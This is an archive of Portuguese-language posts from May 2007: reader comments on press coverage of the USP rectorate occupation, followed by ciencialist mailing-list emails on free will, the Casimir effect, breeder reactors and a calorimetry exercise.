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Cinthia Gon�alves Pereira, advogada (S�o Paulo/SP)
Enviado em 23/5/2007 �s 4:52:49 PM


Primeiramente, gostaria de parabenizar o excelente artigo do Professor
S�rgio Adorno que tratou da quest�o com a lucidez necess�ria, diferentemente
do que vem fazendo a m�dia em geral. A principal quest�o sobre a ocupa��o da
reitoria da USP � a forma que foi realizada e as reivindica��es dos
estudantes. Quanto ao decreto do governador Jos� Serra, a quest�o �
abrangente e sem d�vida restringe a autonomia universit�ria. Entretanto,
juntamente com a exig�ncia dos ocupantes para um posicionamento da reitoria,
est�o outras reivindica��es, tais como aumento das vagas em moradia
estudantil, circula��o de �nibus e "bandej�o" durante os finais de semana,
dentre outras, ampliando o rol de requerimentos. Realmente viol�ncia n�o se
reage com viol�ncia e n�o acredito que essa seja a posi��o da reitoria. N�o
se trata aqui de defender um ou outro lado, mas de salientar as tentativas
de negocia��o feitas tanto pela reitoria como at� mesmo pela Pol�cia Militar
(pasmem!). H� que se questionar todos os aspectos da situa��o delicada que
atinge a USP : o decreto do governador, a obedi�ncia � lei, que prev� em
casos como este a possibilidade de ado��o de medidas coercitivas e o
respeito a um Estado Democr�tico de Direito. � lament�vel que a situa��o
tenha chegado a tal ponto, desvirtuando o debate sobre tais quest�es.

Pablo Vilarnovo, Securit�rio (Rio de Janeiro/RJ)
Enviado em 23/5/2007 �s 4:31:55 PM


H� um equ�voco nos coment�rios. N�o foi Serra que determinou o uso da
pol�cia - nem o autor do texto fala isso. Serra n�o pode fazer isso, n�o
possui essa compet�ncia restrita da Reitora da USP. Reitora essa que foi
eleita em vota��o na Universidade e empossada por Alkimim. Portanto n�o �
"gente do Serra" na USP. Ali�s, h� a bronca de muitos professores da USP em
rela��o a atua��o por demais "frouxa" da Reitora no caso da ocupa��o. O
pedido de reintegra��o de posse partiu da Reitoria dentro de suas
atribui��es e observando os princ�pios de Autonomia. O que parece � que h�
uma tentativa, de todas as maneiras, de se atingir Serra. At� agora n�o se
conseguiu, por isso o movimento continua. As demandas crescem
exponencialmente. J� h� uma, at�, que pede que os alunos n�o possam ser mais
jubilados. Querem ter alunos profissionais. Infelizmente esses jovens foram
cooptados por partidos pol�ticos como PSTU e PSOL. S�o os novos
Homens-massa.

Paula Milkevicz, -- (Sao Paulo/SP)
Enviado em 23/5/2007 �s 4:26:37 PM


Checar a verdade dos fatos, est� passando longe das reda��es dos jornais e
revistas. � muito mais f�cil inventar, mesmo criando esteri�tipos e
alimentando o preconceito. Fiquei chocada com a "reportagem" feita pela
Folha no s�bado na reitoria da USP: o tal rep�rter chamou os alunos de
chineludos e outros termos preconceituosos, mas se "esqueceu" de perguntar
quais eram as reivindica��es. Agora, com o espantoso crescimento da
popularidade dos alunos que invadiram a reitoria, s�o obrigados a noticiar
os fatos que assumiram uma propor��o inesperada, inclusive conquistando a
simpatia de uma parcela da popula��o. J� o governador, deu o maior tiro no
p� jamais visto nesse estado e vai ter que consertar ou melhor, limpar o que
sujou

Avelino de Oliveira, Professor (Sorocaba/SP)
Enviado em 23/5/2007 �s 4:20:18 PM


Que tal uma Lei que obrigue ambos a negociarem, e n�o lado a um ficar
aguardando que ela se estenda para vencer pelo esgotamento da demora?

ciro araujo, revisor (sp/SP)
Enviado em 23/5/2007 �s 4:18:59 PM


E s� para complementar, quando as leis s�o ileg�timas, quando privilegiam
uma parcela conhecida da sociedade, a ponto de ser moeda corrente a frase
"n�o est� contente, v� procurar seus direitos", ou "para os amigos tudo,
para os inimigos a lei", n�o passa a ser leg�tima a desobedi�ncia civil, que
� onde melhor se encaixa a ocupa��o da reitoria, e n�o uma manifesta��o de
viol�ncia como quer nosso respeit�vel professor de sociologia?

Almir Costa, M�sico (S�o Paulo/SP)
Enviado em 23/5/2007 �s 3:52:35 PM


Parab�ns, grande "Luiz Weis" pelo seu esclarecimento... que acende uma luz
no fim do t�nel nesse mundo "globalizado" onde as �informa��es� dos nossos
�meios� de comunica��o tradicionais trazem as vezes - n�o informa��o mas,
�ngulo de um fato que melhor convier aos interesses dos patrocinadores desse
"meio"- ... Vou divulgar seu importante coment�rio. Parab�ns!

ciro araujo, revisor (sp/SP)
Enviado em 23/5/2007 �s 3:38:57 PM


Quer dizer que o ilustre sr. prof. dr. S�rgio Adorno vem agora, por
tergiversantes e hiperb�licas linhas ressuscitar que a quest�o social � caso
de pol�cia? Os estudantes que s�o destratados h� anos pelos reitores, agora
que chegaram ao limite s�o comparados a criminosos comuns? � realmente
necess�rio escrever em "academiqu�s" para tentar disfar�ar sua posi��o,
vamos dizer, conservadora.

Daniel Stolf, Analista (Campinas/SP)
Enviado em 23/5/2007 �s 3:31:06 PM


Vejo que o jornalista autor desse artigo tem liga��es com v�rias das
reda��es dos peri�dicos que insistem em atacar um movimento estudantil
leg�timo. Fica o pedido por um artigo comentando seus contatos com os
jornalistas da Veja, Folha e Estado. O que se houve dessas pessoas? Elas
realmente mant�m essa opini�o? � poss�vel criar um debate aberto com esses
jornalistas que criticam o movimento estudantil e protegem Serra? � f�cil
apresentar absurdos quando se tem a op��o de n�o responder as cr�ticas...
quero ver se virar em um debate.

Haroldo Arruda, Professor (S�o Paulo/SP)
Enviado em 23/5/2007 �s 3:23:57 PM


Quanto ao texto do professor S�rgio Adorno, acho que ele deveria ir ao
local. L� est�o ou estiveram outros colegas professores. Alfredo Bosi, Paulo
Arantes, Yudith Rosenbaum, Cilaine Alves Cunha, Ot�lia Arantes, Jos� Miguel
Wisnik. N�o sei se o professor Adorno sabe, mas h� aulas dentro da reitoria
ocupada. Muitos professores que, como consta no site da ADUSP de hoje
23/05/07, aderiram � greve por tempo indeterminado est�o l� fazendo debates
e ministrando aulas para todos aqueles que querem ouvir. N�o raro,
funcion�rios est�o interessad�ssimos em saber sobre Hist�ria da Arte e
Arquitetura pela suave voz da professora Vera Pallamin da FAU. Hoje � noite
haver� aula "Tempo e hist�ria: em torno da Revolu��o Francesa" com a
professora titular de Filosofia Pol�tica Maria das Gra�as de Souza. S�rgio
Adorno, em minha opini�o, deveria fazer o mesmo: usar sua extrema lucidez
para ver o qu�o inconstitucionais s�o os decretos do governador e legitimar
o movimento grevista dos colegas que defendem a autonomia universit�ria,
essa sim, prova cabal de uma sociedade realmente democr�tica contr�ria �
for�a unilateral do Governado do Estado de S�o Paulo. Parab�ns ao Luiz Weis
por servir de orientador de nossos jornais, t�o p�fios em suas coberturas.


Haroldo Arruda, Professor (S�o Paulo/SP)
Enviado em 23/5/2007 �s 3:10:48 PM


As reflex�es do jornalista Luiz Weis acertam em cheio um problema enfrentado
pela m�dia no caso da ocupa��o da USP: as reportagens est�o mais preocupadas
em polemizar. Lembro-me de uma reportagem da Folha de S�o Paulo que falava
em bando "chineludos", "maria-mijonas" e filhinhos com "palet�s do papai" -
o jornalista comparava a ocupa��o da Reitoria � fant�tica f�brica de
chocolates Wonka. Sem contar o editorial do Estado de S�o Paulo que, fazendo
jus a sua pr�tica positivista, queria ordem e puni��o contra os "invasores"
e "vandalos". Os decretos 51.460, 51.461, 51.471, 51.636 e 51.660 pouco e
nada apareceram. Fala-se mais sobre o impasse sem jamais buscar o
entendimento das causas do mesmo. Os decretos do governador Serra implicam
numa trama de conceitos que fragmenta a antiga Secretaria de Educa��o em
Secretaria de Desenvolvimento e a Secretaria de Ensino Superior. Vale � pena
observar que o Centro Paula Souza, as FATEC�s, passa para a Secretaria de
Desenvolvimento como num passe de m�gica. Por que as FATEC�s, que
representam 30% das vagas de ensino superior p�blicas, deixam de fazer parte
da pasta de Ensino Superior ? A leitura atenta dos decretos �
imprescind�vel, l� ficamos sabendo que o Governo do Estado de S�o Paulo quer
privilegiar a "�rea operacional" das universidades em detrimento da pesquisa
b�sica. Ora, algu�m consegue imaginar uma universidade sem pesquisa?

Gisele Toassa, pesquisadora-USP (S�o Paulo/SP)
Enviado em 23/5/2007 �s 2:31:27 PM


Estive ontem na ocupa��o. a id�ia de que os alunos pretendem resistir �
for�a bruta � simplesmente rid�cula. O clima � de resist�ncia pac�fica, e h�
muitas mulheres presentes. Nenhuma arma nem nada que a imprensa
histericamente noticia. Isso seria subestimar um movimento estudantil que d�
provas de uma excelente organiza��o.

Edward Wilson Martins, empres�rio (S�o Paulo/SP)
Enviado em 23/5/2007 �s 2:20:52 PM


P�ssima a id�ia e mais ainda a a��o de invas�o da Reitoria para o ato de
reivindicar e chamar a aten��o da opini�o p�blica para um debate sobre a
propalada e mal esclarecida "perda da autonomia". Os artigos s�o excelentes
e foram os que de mais l�cidos li a respeito dos assuntos enfocados e
mostram mais uma vez o despreparo de muitos jornalistas na cobertura de
quest�es mais complexas e que exigem cultura, informa��o, pesquisa e
investiga��o. � f�cil cobrir uma "invas�o", depois uma "reintegra��o
mediante for�a policial". Simpl�rio, at�. Continuo desinformado sobre se
houve mesmo perda da autonomia (algu�m pode escrever contando tudo???). Da
mesma forma continuo desinformado daquela propalada e rid�cula "Emenda
Tr�s", sobre o Fiscal/Juiz, tento obter esclarecimentos e n�o consigo, nem
mesmo de colegas t�cnicos e do ramo. � isso a�, � o que temos hoje em
mat�ria de informa��o mais minuciosa e t�cnica, que o OI mais uma vez
desnuda e toca com propriedade e lucidez.

Ivan Moraes, sem profissao (Newark, NJ/MG)
Enviado em 23/5/2007 �s 12:45:41 PM


Porque eh que Serra nao da uma mancada pesada (como a que certas publicacoes
estao sugerindo) DEPOIS de tirar Aecio do caminho? Pelo menos assim nos
livramos dos dois. Enquanto isso, os estudantes estao protestando, entre
outras coisas que de maneira alguma ficaram claras para o publico, as
"parcerias" publico-privadas. Eh evidente que eles estao protestando a
futura privatizacao de escolas publica. Escolas brasileiras ja "fichavam"
alunos inadimplentes e destruiam seus creditos no Brasil inteiro ha anos
atraz porque os alunos nao tinham condicoes de pagar. (tou com a lngua
cocando pra falar mais)

Daniel Stolf, analista (Campinas/SP)
Enviado em 23/5/2007 �s 12:12:50 PM


Impressionante o p�ssimo jornalismo que a Folha e a Veja v�m fazendo....
Ando enviando links desse s�tio para a reda��o de ambas as publica��es...
quem sabe se tocam... Confesso que tinha em minha mente ma boa imagem de
ambos os peri�dicos citados, mas depois das recentes reportagens depredando
a imagem da USP, universidade em que estudei, confesso que comecei a sentir
uma grande decepc��o com o jornalismo nacional.

Dante Caleffi, publicit�rio (Rio de Janeiro/RJ)
Enviado em 23/5/2007 �s 12:07:37 PM


Folha e Estad�o,agem, protegendo o "presidente stand-bay",Jos� Serra. Est�o
certos:preservar os investimentos.Obtidos , � bem verdade, a pre�o
m�dico,R$1,7milh�es,se n�o falha o c�lculo do delegado Bruno,fora , a m�o de
obra, claro. Uma administra��o,sem riscos de "persegui��o"jornal�stica.
Lembram da "cratera do metr�"? T�o remota a lembran�a...N�o ter� ocorrido no
gov�rno....sei,l�! Essa � a "efici�ncia" da informa��oA� ,se encontra ,a
integridade dos "publixeiros"Nela, esvai a coragem do rep�rter

Marco Costa Costa, T.P.A. (S�o Caetano do Sul/SP)
Enviado em 23/5/2007 �s 11:53:11 AM


Deixaram a situa��o na USP chegar a esse ponto de descredito dos estudantes
sobre a falta de dialogo com a Reitoria, demostra o quanto essa gente de
comando � autorit�ria e negligente com os problemas que afetam a todos
naquele templo do saber. Ningu�m em S� consci�ncia poria em risco a
integridade moral e f�sica de terceiros usando barricadas para se protegerem
da truculenta pol�cia paulista, p�r sinal uma das mais violentas do mundo.
No decorrer do artigo um dos colaboradores coloca os estudantes como agentes
de um ato de ocupa��o o qual provoca um apelo a viol�ncia, n�o se pode
esquecer que os violentos nessa hist�ria s�o os comandantes Serra,
Secret�rio de Educa��o e seus auxiliares que est�o no comando da USP, caso
de antem�o houvesse ocorrido um dialogo com os discentes e os docentes, com
certeza, n�o haveria necessidade desse impasse chegar ao ponto de uma
desocupa��o for�ada, quem sabe a base do cacete. Estou solid�rio �s
reivindica��es dos alunos, professores e funcion�rio e repudio a
interfer�ncia nada correta do senhor Serra, que p�r sinal um dia foi
representante mor dos estudantes da �poca. Se ocorrer um ato violento a�
saberemos definir qual o tipo de sistema estamos vivendo.

Paulo Bandarra, M�dico (Porto Alegre/RS)
Enviado em 23/5/2007 �s 11:28:54 AM


O mais pitoresco � o Serra, lider estudantil do passado, pode mandar invadir
a universidade com os gorilas da seguran�a! Nada como um dia depois do
outro! Como FHC, professor universit�ria, maltratou o ensino universit�rio!
Como Lula, promotor de greves, agora ser contra a
greve!http://observatorio.ultimosegundo.ig.com.br/blogs.asp?id={C2F67501-BF58-40DB-B2EA-6E0D7EA4740F}&id_blog=3


[As partes desta mensagem que n�o continham texto foram removidas]



SUBJECT: Re: [ciencialist] Porque Raciocinar? ::: (artigo)
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 23/05/2007 17:38

O que é que esse verbalismo tem a ver com Ciência? Ou será que o autor também sabe a 'verdade' sobre a I.A. e quer nos contar com doses homeopáticas? Como o gajo é bom! Céus, queria ser como ele! Porém, um abismo nos separa ....... óbvio.
[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Ferrari" <emailferrari@yahoo.com.br>
Para: "y" <ciencialist@yahoogrupos.com.br>
Enviada em: quarta-feira, 23 de maio de 2007 15:39
Assunto: [ciencialist] Porque Raciocinar? ::: (artigo)


POR QUE RACIOCINAR? - por Ferrari
(sobre desejo, raciocinio e ação)

http://egogame.blogspot.com

Por que raciocinar? Por que agir? Não é mais fácil e
econômico ficar inerte? Pensar e agir é inevitável
porque é uma conseqüência de algo anterior a ambos: o
desejo. Uma vez que exista desejo, pensar e agir é
sempre inevitável. Quando estamos apaixonados, por
exemplo, não conseguimos parar de pensar na pessoa
amada (objeto de desejo). Pensamos e fazemos dezenas
de coisas para alcançar a conquista. Por que agimos
assim? O que o cérebro está fazendo? Está buscando
satisfazer o desejo. A pessoa amada é o objeto que
trará prazer. O cérebro raciocina e põe o corpo em
ação porque está buscando fazer o que foi programado
de fábrica para fazer: satisfazer desejos.

Por outro lado, nunca pensamos nos dentes, mas quando
eles doem, não conseguimos pensar em outra coisa, não
é mesmo? Nestes dias de dor, fazemos qualquer coisa
para irmos ao dentista que tanto evitamos o resto do
ano. Por que agimos assim? O que o cérebro está
fazendo? Está buscando sanar algo indesejável
(insatisfatório). A dor de dentes tem que acabar.
Igualmente ao exemplo anterior, o cérebro raciocina e
põe o corpo em ação porque está buscando fazer o que
foi programado de fábrica para fazer: satisfazer
desejos.

Enfim, se fosse possível, assim como na história da
Lâmpada de Aladim, desejar e já ter o desejo
mágicamente realizado, o cérebro não precisaria
raciocinar, nem o corpo precisaria agir. Mas como não
é, raciocinar e agir é inevitável para chegar a
satisfação.


- - - - - - -


MAIS SOBRE O EGO? TEM AQUI:
http://egogame.blogspot.com






EXPERIMENTE XIXI COM TINTA (novo livro do Ferrari):
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SUBJECT: Re: Porque Raciocinar? ::: (artigo)
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 23/05/2007 18:09

--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
> O que é que esse verbalismo tem a ver com Ciência?

Eu queria era ver ele responder ao exercício de aplicação da fórmula
E=m.c2 q ele pretendia analisar.

[]s,

Roberto Takata



SUBJECT: Preciso de urgente confirmação
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 23/05/2007 18:44

"Para terminar : Os "reatores nucleares rápidos" ( Breeders),produzem mais combustivel Pu239 do que consomem . É um fato. Esse moto-continuo não tem cheiro, os franceses sabem disso a muitos anos."

Final de uma mensagem enviada por um engenheiro nuclear sobre o tema "motor magnético".
Preciso "urgentemente" da confirmação da informação acima.

[]'

===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
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SUBJECT: Efeito Casimir
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 23/05/2007 19:19

Faz mais de um ano que o Elton de Carvalho colaborou com uma resposta a um consulente do Imperdível sobre o 'Efeito Casimir'.
Eu guardei essa resposta (além de enviá-la ao guri da 8a série que a solicitou) por ter apreciado a didática e as palavras adequadas à faixa etária.
Apreciaria acrescentar esse Efeito à página dos " N Efeitos na Física" já existente no Imperdível em

http://www.feiradeciencias.com.br/sala19/texto72.asp

Assim, ainda como sugestão, apreciaria receber um ou dois 'desenhos' ilustrativos do efeito (de preferência baseados no texto do Elton). Como sempre, mas sem postar explicitamente, agradeço aos amigos.
[]'
Léo
++++++++++++++++
Do Elton:

"Primeiramente, falemos sobre o efeito Casimir. Esse efeito ocorre
quando aproximamos duas placas metálicas, paralelas, no vácuo. Surge
uma força de atração entre elas, que não é explicada nem pelo
eletromagnetismo (ou seja, não é um efeito parecido com o de um ímã)
nem pela mecânica clássica (não é atração gravitacional, por exemplo).
Temos, então, de recorrer à mecânica quântica para explicar esse
fenômeno.

O que conhecemos como vácuo, tanto no dia-a-dia quanto na escola, é a
ausência de matéria em uma certa região do espaço. Mas a mecânica
quântica trata todas as partículas como se fossem ondas de
probabilidade (é uma forma de descrever matematicamente a partícula,
cuja equação nos diz a "chance" que temos de encontrar uma partícula
em um certo lugar do espaço em um certo instante no tempo) e mesmo no
vácuo existem essas ondas, em diferentes freqüências, de zero ate
infinito. A questão é que quando aproximamos duas placas, nós formamos
uma espécie de caixa de ressonância (como a caixa acústica de um
violino) que permite a existência de apenas algumas freqüências (da
mesma forma que uma caixa acústica de violoncelo deve ser maior que a
de um violino -- para comportas as freqüências mais baixas desse
instrumento).

O que acontece é que quando fazemos essa "caixa", as ondas que não
cabem dentro dela deixam de existir naquela região (continuam
existindo fora). Então, as ondas de fora (que ali estão em quantidade
muito maior) pressionam as placas para que elas se aproximem.

Infelizmente não conheço maneiras de aproveitar essa energia. E ela
certamente não vem "do nada" apesar de vir "do vácuo"
++++++++++++++++++++++

===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================


SUBJECT: Re: Preciso de urgente confirmação
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 23/05/2007 19:23

--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
> "Para terminar : Os "reatores nucleares rápidos" ( Breeders),produzem
> mais combustivel Pu239 do que consomem . É um fato. Esse
> moto-continuo não tem cheiro, os franceses sabem disso a muitos anos."
>
> Final de uma mensagem enviada por um engenheiro nuclear sobre o tema
> "motor magnético". Preciso "urgentemente" da confirmação da informação
> acima.

É verdade que os breeders produzem mais Pu239 do q consome, mas não é
um moto-perpétuo já q vc precisa colocar urânio...

A fissão de um átomo de U-235 gera cerca de 200 MeV, a fissão de um
átomo de Pu-239 gera 5,16 MeV.

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Re: Preciso de urgente confirmação
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 23/05/2007 19:39

BLZ ... já conclui a mensagem-resposta ao engenheiro e enviei. agradeço,
[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
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-----Mensagem Original-----
De: "rmtakata" <roberto.takata@bol.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: quarta-feira, 23 de maio de 2007 19:23
Assunto: [ciencialist] Re: Preciso de urgente confirmação


--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
> "Para terminar : Os "reatores nucleares rápidos" ( Breeders),produzem
> mais combustivel Pu239 do que consomem . É um fato. Esse
> moto-continuo não tem cheiro, os franceses sabem disso a muitos anos."
>
> Final de uma mensagem enviada por um engenheiro nuclear sobre o tema
> "motor magnético". Preciso "urgentemente" da confirmação da informação
> acima.

É verdade que os breeders produzem mais Pu239 do q consome, mas não é
um moto-perpétuo já q vc precisa colocar urânio...

A fissão de um átomo de U-235 gera cerca de 200 MeV, a fissão de um
átomo de Pu-239 gera 5,16 MeV.

[]s,

Roberto Takata




SUBJECT: Re: (Para Chicao) MOSCAS E LIVRE ARBÍTRIO
FROM: "Joao de Carvalho" <joaobncarvalho@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 23/05/2007 19:58

Olá, Chicao.

> > Volição não existe. É uma ilusão causada pela mente.

> E o que te faz acreditar seguramente na nolição ?

Você está fazendo jogo de linguagem? Escolha livre é simplesmente
algo inconcebível. Não faz sentido.

> Efeito antes da causa ??? Isso pode acontecer ??

Não creio, e não disse isso. Mas o livre arbítrio me parece mais um
conceito de escolha antes da causa, do que de escolha livre. Se o
sujeito que defende o livre arbítrio diz que se pode escolher alguma
coisa, essa escolha visa algum estado futuro que a justifica. Não é
livre. Escolha livre seria o acaso. O sujeito se comportaria
randomicamente.

> Se tudo é determinado então não faz sentido sermos
> responsabilizados pelos nossos atos, pois já está tudo
> "escrito". Pra que essas bobagens de nova ordem.....

Essa questão da responsabilidade moral é complicada. Ainda tenho que
refletir mais sobre ela. Estou tratando disso em outra lista,
Filosofia da mente. Mas desconfio que se trata de uma falsa questão.
O problema pode estar no conceito de responsabilidade, que é erguido
em bases frágeis.

A busca por uma nova ordem não tem nada de bobagem. É uma coisa muito
séria, e independe das coisas estarem ou não pré-determinadas.

> Interessante, algo que existe mas não pode ser explicado. Algo
cognoscível transcedente.

Não entendi essa do " cognoscível transcendente."

> Se ocorreu no mundo objetivo por que fugiria ao escopo da ciencia??

Quem disse isso, a respeito de fenômenos singulares, não fui eu. Eu
acho que a ciência tem que explicar qualquer fenômeno, sendo ele
singular ou geral.

> Desde que a "causa-incausada" se manifestou no mundo, não vejo
porque não estuda-la.

E como é que você vai estudar tal coisa? No máximo você pode descrevê-
la. (O que é, aliás, grande parte das coisas que os físicos de
partículas fazem. Eles não explicam, só descrevem. Einstein reclamava
disso.)

> Pode a natureza ter "causas-incausadas" ?
> Se sim, então o mar que navegamos não é tão tranquilo assim....

Talvez possam existir certos fenômenos sem causa. Um fenômeno, em
particular, me vêm à mente, mas não quero tratar disso agora. Mas
creio que a grande maioria tem causas.

Saudações,
João de Carvalho




SUBJECT: Re: Paradoxo: duas forças irresistíveis
FROM: Manuel Bulcão <manuelbulcao@uol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 23/05/2007 21:53

--- Em ciencialist@yahoogrupos.com.br, "murilo filo"
<avalanchedrive@...> escreveu
>
> Álvaro, cê matô ele... no mínimo, cê quebrô as perna dele...

Manuel: Cá entre nós: se queres seduzir uma mulher casada que ainda
ama o marido, elogie desbragadamente o marido dela, coloque-o nas
nuvens, endeuse-o. Em agradecimento, ela irá traí-lo com você. Eu
ainda tenho alguma esperança com a Angelina Jolie.

Ufa! Essa foi a melhor saída que encontrei para o xeque do Alvaro
Augusto.

Abraços,
Manuel Bulcão
___________________

> >From: "Alvaro Augusto (L)" <alvaro@...>
> >Reply-To: ciencialist@yahoogrupos.com.br
> >To: <ciencialist@yahoogrupos.com.br>
> >Subject: Re: [ciencialist] Paradoxo: duas forças irresistíveis
> >Date: Tue, 22 May 2007 10:44:27 -0300
> >
> >Quanto à Angelina Jolie, concordo, mas Brad Pitt é irresistível?
> >
> >[ ]s
> >
> >Alvaro Augusto
> >
> >
> >----- Original Message -----
> >From: "Manuel Bulcão" <manuelbulcao@...>
> >To: <ciencialist@yahoogrupos.com.br>
> >Sent: Tuesday, May 22, 2007 10:31 AM
> >Subject: [ciencialist] Paradoxo: duas forças irresistíveis
> >
> >
> >O que acontece quando duas forças irresistíveis se chocam:
> >
> >Resposta: a Angelina Jolie engravida do Brad Pitt.
> >
> >[]s
> >Manuel Bulcão



SUBJECT: III Circo da Ciência UFSCar
FROM: "Ricardo Soares Vieira" <rickrsv@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 23/05/2007 23:53

Olá,

Nesta terça e quarta feira (29 e 30 de Maio) será realizado no campus
da UFSCar São-Carlos o 3º Circo da Ciência, em conjunto com o evento
"Universidade Aberta" - que apresenta os cursos aos alunos do ensino
médio...

O Circo da Ciência consiste em uma tenda que apresenta experiências
interessantes sobre física, química, biologia e matemática, como forma
de estimular o interesse dos nossos alunos à essas áreas de ciência
básica...

Bom, está feito o convite, quem quiser aparecer por aqui será muito
bem vindo... Quem sabe não me encontram por lá (estarei ajudando nas
demonstrações das experiências)...

p.s. pretendo no ano q vem ajudar na organização do evento, quem sabe
até lá o Professor Leo - o Mestre dos magos neste ramo (vide
http://www.feiradeciencias.com.br)- não possa nos dar algumas dicas ou
mesmo colaborar com novos experimentos... Seria formidável.

Abraços amigos, até mais.

Ricardo S. Vieira.





SUBJECT: + um exercio de química
FROM: Phoenix Myth <phoenixclever@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 24/05/2007 00:09

Olá pessoal,
Mais uma vez um exercício que não estou conseguindo
resolver... Será que alguém pode me ajudar...

Imagine que 50 mL de 0,5M NaOH e 50 mL de 0,5 HNO3,
inicialmenteem 18,6ºC, são misturados e agitados em um
calorímetro cuja capacidade calorífica é 525 J/ºC
quando vazio. A temperatura da mistura subiu para
20ºC. (a) Qual é a variação de entalpia da reação de
nuetralização?(b) Qual é a variação de entalpia dna
neutralização em kJ/mol HNO3? Considere a capacidade
calorífica específica de cda solução como sendo 4,184
J/ºC.g

Respostas:
(a) -1,33 kJ
(b) -53,2 kJ/mol

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SUBJECT: Re: JC: O Raciocinio e o Prazer ::: (artigo)
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 24/05/2007 00:27

Acho que você não entendeu, mas tudo bem. :)

Abraços,
JC



--- Em ciencialist@yahoogrupos.com.br, Ferrari <emailferrari@...> escreveu
>
> Olá Zé!
>
> Zé >>> Ferrari, acho que seria muito pedir para você
> resolver uma equação do segundo grau e por isso talvez
> você não compreenda muito bem o prazer de resolver a
> equação de Dirac e descobrir nela todo um universo de
> anti-matéria por trás de operadores e coeficientes
> matriciais.
>
> --- Zé, esta sua observação é muito importante para
> compreensão do tema. Note, o prazer, a satisfação, não
> vem da matemática, a satisfação vem do "resolver". Se
> você resolve você fica satisfeito, se você não
> resolve, fica insatisfeito. A matemática, em si, nada
> tem de satisfação ou insatisfação, é apenas um
> processo racional. Como diz o texto, o raciocínio é o
> estrategista do sucesso, neste seu exemplo, da
> solução. Mas ele é frio e calculista, apenas equaciona
> os fatores e sugere o melhor caminho pro sucesso. Quem
> vibra com a vitória não é o raciocínio, é o emocional,
> pois satisfação é uma linguagem emocional. O Deep
> Blue, por exemplo, ganhou do Kasparov no Xadrex. Mas
> será que ele sabe que ganhou? Será que ele sabe o que
> é ganhar? Creio que não. Ele simplesmente resolveu uma
> equação. O raciocínio é assim, um estrategista a
> serviço da satisfação.
>
> Zé >>> Para você isso deve ser o equivalente de ler
> poesia para minhocas, mas para nós outros mortais,
> acredite-me, há bem mais prazer em um raciocínio bem
> estruturado do que em uma poesia pós-moderna.
>
> --- Zé, não apela !!! Podemos conversar numa boa sem
> precisar ficar com este joguinho de ironia e de poder.
> Deixe isto pro Luiz. Você não precisa disto. E ninguém
> merece ficar ouvindo ironias quando está conversando
> honestamente, merece?
>
>
> Sinceramente
> Ferrari
>
> EXPERIMENTE XIXI COM TINTA (novo
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SUBJECT: Re: José: ABC da CIENCIA
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 24/05/2007 00:36

Ferrari, li tudo o que você escreveu mas não tenho nada a acrescentar
ou retirar.

Abraços,
JC



--- Em ciencialist@yahoogrupos.com.br, Ferrari <emailferrari@...> escreveu
>
> Olá Zé!
>
> Zé >>> Gostaria só de convidá-lo a refletir sobre
> algumas de suas afirmações. Vou destacá-las abaixo e
> comentar em seguida:
>
> --- Voce sabe que estou sempre disponível a conversa
> franca e de igual pra igual. Só não me agrada quando
> você banca a autoridade e fica me passando sermão.
>
> Zé >>> Ferrari, nada consta sobre ser a partícula "um
> espaço cheio".
>
> --- Sim, "espaço cheio" não é uma definição da física,
> é uma leitura minha da definição da física. Uma
> leitura para tornar visível a questão da cognição na
> física. A física define partícula como corpo, e o
> contrapõe ao espaço, que é não-corpo, ausência de
> corpo. A partir disto estou dizendo que isto que a
> física chama de corpo é, para a cognição, um espaço
> cheio, pois caso não fosse, o corpo e o espaço seriam
> a mesma coisa. Mas a física não entende que espaço e
> corpo seja a mesma coisa, a física entende que corpo e
> espaço são coisas diferentes, distintas. Então,
> chegamos a sua segunda pergunta:
>
> Zé >>> Eu lhe perguntaria mais: cheio de quê?
>
> --- Ora, você é o físico, você é que teria que me
> dizer isto. Mas a física não sabe a resposta. A única
> coisa que a física tem que assumir, por principio e
> para que a idéia de que "dois corpos não podem ocupar
> o mesmo lugar no espaço" continue valendo, é que seja
> lá o que for corpo, tem que ser diferente do espaço.
> Tem que ser assim, pois se corpo não for diferente de
> espaço, que sentido faz falar em corpo se deslocando
> pelo espaço? Bem, esta é a problemática.
>
> --- Minha solucionática é que não existe diferença
> entre corpo e espaço. O espaço todo é uma matéria só,
> indivisível. É isto que eu afirmo. Uma das evidencias
> que tenho usado para demonstrar isto é aquela que
> estive debatendo com o Takata, sobre divisão. É
> impossível dividir um igual sem colocar um diferente
> no meio. Outra é que o fluxo de eletricidade (energia)
> pelo fio não é como gotas d´água por um cano vazio.
>
> --- Agora, é preciso entender que a questão do igual e
> do diferente (cheio e vazio) é uma questão do
> conhecimento da matéria, e não da matéria em si. Ou
> seja, a matéria se apresenta divida quando a
